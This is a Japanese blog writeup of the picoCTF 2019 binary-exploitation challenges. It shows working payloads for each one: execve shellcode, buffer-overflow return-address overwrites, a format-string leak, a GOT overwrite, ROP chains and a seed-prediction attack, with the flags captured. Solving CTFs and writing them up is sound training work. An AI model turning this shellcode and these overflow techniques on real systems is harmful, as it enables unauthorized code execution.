picoCTF 2019 writeup

picoCTF 2019

いつもどおり yharima で,でも今回も一人だった.
さすがに問題多すぎるというのと, SECCON に向けての練習ということでほぼ pwn しかやらなかった.
7300pts で 1833th. 参加者めちゃくちゃ多いっすね….

数も多いので pwn だけ writeup 書きます.コードは以下.
ctf_log/picoCTF_2019 at master · yuta1024/ctf_log · GitHub

handy-shellcode

32bit のシェルコード流せばOK.

$ (perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\n"'; cat) | ./vuln
Enter your shellcode:
1�Ph//shh/bin��PS��
                    ̀
Thanks! Executing now...
ls
flag.txt  vuln  vuln.c
cat flag.txt
picoCTF{h4ndY_d4ndY_sh311c0d3_4dc9a786}

practice-run-1

実行するだけ.

$ ./run_this
picoCTF{g3t_r3adY_2_r3v3r53}

OverFlow 0

BOF させるだけ.

$ perl -e 'print "A" x 256' | xargs ./vuln
picoCTF{3asY_P3a5yf663660d}

OverFlow 1

BOF させてフラグ表示する関数に飛ばす.

$ perl -e 'print "A" x 76 . "\xe6\x85\x04\x08"' | ./vuln
Give me a string and lets see what happens:
Woah, were jumping to 0x80485e6 !
picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5b80c9cbf}Segmentation fault (core dumped)

NewOverFlow-1

64bit なだけ.なぜか flag 関数の先頭だとうまくいかなかったのでずらしたら動いた.

$ perl -e 'print "A" x 72 . "\x68\x07\x40\x00\x00\x00\x00\x00\n"' | ./vuln
Welcome to 64-bit. Give me a string that gets you the flag:
picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_cfe23f2b}

slippery-shellcode

nop おいて滑らすだけ.

$ (perl -e 'print "\x90" x 256 . "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80\n"'; cat) | ./vuln
Enter your shellcode:
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Rh//shh/bin��RS��B
                                                                             ̀
Thanks! Executing from a random location now...
ls
flag.txt  vuln  vuln.c
cat flag.txt
picoCTF{sl1pp3ry_sh311c0d3_0fb0e7da}

NewOverFlow-2

問題ミスとしか思えない.本当は ROP させたいんだろうけど flag 関数が残ってるので1と同じ.

$ perl -e 'print "A" x 72 . "\x4e\x08\x40\x00\x00\x00\x00\x00\n"' | ./vuln
Welcome to 64-bit. Can you match these numbers?
picoCTF{r0p_1t_d0nT_st0p_1t_e51a1ea0}

OverFlow 2

引数をとるようにするだけ.

$ perl -e 'print "A" x 188 . "\xe6\x85\x04\x08" . "A" x 4 . "\xef\xbe\xad\xde" . "\x0d\xd0\xde\xc0"' | ./vuln
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ�
picoCTF{arg5_and_r3turn598632d70}

CanaRy

canary は固定なので 1byte づつ canary を総当たりして leak させる.
全部 leak させたら戻りアドレスの末尾 2byte を display_flag のアドレスにする.
ただし, objdump でみると 000007ed <display_flag> となっており 0xed はいいにしても 0x07 の部分は 0x07 から 0xf7 までとりうる.
これは確定できないので適当な値を決め打ちして何回か実行したらそのうちあたる.

https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/canary/canary.py

$ python /tmp/yuta1024/canary.py
[+] Starting local process '/problems/canary_3_257a2a2061c96a7fb8326dbbc04d0328/vuln': pid 3566097
[+] Receiving all data: Done (71B)
[*] Process '/problems/canary_3_257a2a2061c96a7fb8326dbbc04d0328/vuln' stopped with exit code -11 (SIGSEGV) (pid 3566097)
Ok... Now Where's the Flag?
picoCTF{cAnAr135_mU5t_b3_r4nd0m!_0bd260ce}

leap-frog

win1 && !win1 みたいなふざけた条件があって普通に関数をよんでもだめ.
win1, win2, win3グローバル変数で連続しているので win1 を引数に gets を読んで 3byte 埋めてから display_flag を呼び出してあげれば良い.
はたして想定解法なのか…?

https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/leap-frog/leap-frog.py

$ python /tmp/yuta1024/leap-frog.py
[+] Starting local process '/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c/rop': pid 4130613
[+] Receiving all data: Done (50B)
[*] Process '/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c/rop' stopped with exit code -11 (SIGSEGV) (pid 4130613)
picoCTF{h0p_r0p_t0p_y0uR_w4y_t0_v1ct0rY_f60266f9}

stringzz

FSB があるので適当に %x 並べてフラグが格納されてるアドレス位置をみつけたらそこを %s するだけ.

$ ./vuln
input whatever string you want; then it will be printed back:

%37$s
Now
your input
will be printed:

picoCTF{str1nG_CH3353_0814bc7c}

GoT

タイトル通り GOT を上書きするだけ.
しかもご丁寧にアドレスを読み込んで任意の値にしてくれる.書き換えるのは最後の exit の GOT.
exit の GOT は 0x804a01c で 10進数になおすと 134520860.
win のアドレスは 0x00485c6134514118.

$ ./vuln
You can just overwrite an address, what can you do?

Input address

134520860
Input value?

134514118
The following line should print the flag

picoCTF{A_s0ng_0f_1C3_and_f1r3_9463c919}

seed-sPRiNG

srand(time(NULL)) したあと rand() & 0xf してるだけなので時間さえ合わして同じシードにしたらローカルで計算した乱数と一致する.
サーバタイムは普通に date すればわかるので適当にずれているなら待てばいい.

$ date && nc 2019shell1.picoctf.com 21871
2019年 10月  4日 金曜日 01:06:47 JST



                          #                mmmmm  mmmmm    "    mm   m   mmm
  mmm    mmm    mmm    mmm#          mmm   #   "# #   "# mmm    #"m  # m"   "
 #   "  #"  #  #"  #  #" "#         #   "  #mmm#" #mmmm"   #    # #m # #   mm
  """m  #""""  #""""  #   #          """m  #      #   "m   #    #  # # #    #
 "mmm"  "#mm"  "#mm"  "#m##         "mmm"  #      #    " mm#mm  #   ##  "mmm"



Welcome! The game is easy: you jump on a sPRiNG.
How high will you fly?

LEVEL (1/30)

Guess the height: 8
LEVEL (2/30)

Guess the height: 6
LEVEL (3/30)

Guess the height: 5
LEVEL (4/30)

Guess the height: 8
LEVEL (5/30)

Guess the height: 13
LEVEL (6/30)

Guess the height: 12
LEVEL (7/30)

Guess the height: 13
LEVEL (8/30)

Guess the height: 15
LEVEL (9/30)

Guess the height: 11
LEVEL (10/30)

Guess the height: 3
LEVEL (11/30)

Guess the height: 14
LEVEL (12/30)

Guess the height: 8
LEVEL (13/30)

Guess the height: 4
LEVEL (14/30)

Guess the height: 1
LEVEL (15/30)

Guess the height: 15
LEVEL (16/30)

Guess the height: 9
LEVEL (17/30)

Guess the height: 8
LEVEL (18/30)

Guess the height: 10
LEVEL (19/30)

Guess the height: 12
LEVEL (20/30)

Guess the height: 7
LEVEL (21/30)

Guess the height: 6
LEVEL (22/30)

Guess the height: 13
LEVEL (23/30)

Guess the height: 5
LEVEL (24/30)

Guess the height: 8
LEVEL (25/30)

Guess the height: 1
LEVEL (26/30)

Guess the height: 1
LEVEL (27/30)

Guess the height: 0
LEVEL (28/30)

Guess the height: 4
LEVEL (29/30)

Guess the height: 5
LEVEL (30/30)

Guess the height: 10
picoCTF{pseudo_random_number_generator_not_so_random_454fbf9b8595fa66a87547e520351217}Congratulation! You've won! Here is your flag:

L1im1tL355

main 関数内で stack に積んでる array[666] は負の index を与えることができる.
replaceIntegerInArrayAtIndex に飛んだ先で戻りアドレスの値を win のアドレスに書き換えてあげればいい.
main から replaceIntegerInArrayAtIndex を呼び出してるので負値の index を与えるといい感じに書き換えれる.

$ ./vuln
Input the integer value you want to put in the array

134514118
Input the index in which you want to put the value

-5
picoCTF{str1nG_CH3353_5243a217}

rop32

/bin/sh がないので gets を使って bss の適当な場所に入力する.
あとはレジスタを pop gadget でいい感じにして int 0x80 してシェルを起動する.
gets は改行がくるとだめなので pop eax; ret; みたいな gadget だとアドレスに 0x0a があってだめだった.

https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/rop32/rop32.py

$ python ~/rop32.py
[+] Starting local process '/problems/rop32_1_c4f09c419e5910665553c0237de93dcf/vuln': pid 2046935
[*] Switching to interactive mode
$ ls -l
total 656
-r--r----- 1 hacksports rop32_1        31 Sep 28 21:54 flag.txt
-rwxr-sr-x 1 hacksports rop32_1    661832 Sep 28 21:54 vuln
-rw-rw-r-- 1 hacksports hacksports    466 Sep 28 21:54 vuln.c
$ cat flag.txt
picoCTF{rOp_t0_b1n_sH_b6597626}

rop64

x86_64 にするだけ.

https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/rop64/rop64.py

$ python ~/rop64.py
[+] Starting local process '/problems/rop64_4_a266556e68202c0c42d6c14f6c7102b3/vuln': pid 1560430
[*] Switching to interactive mode
$ ls
flag.txt  vuln    vuln.c
$ cat flag.txt
picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_5e28dda5}

まとめ

pwn は全部解きたかったけどいつの間にか終わってた.heap 系苦手‥.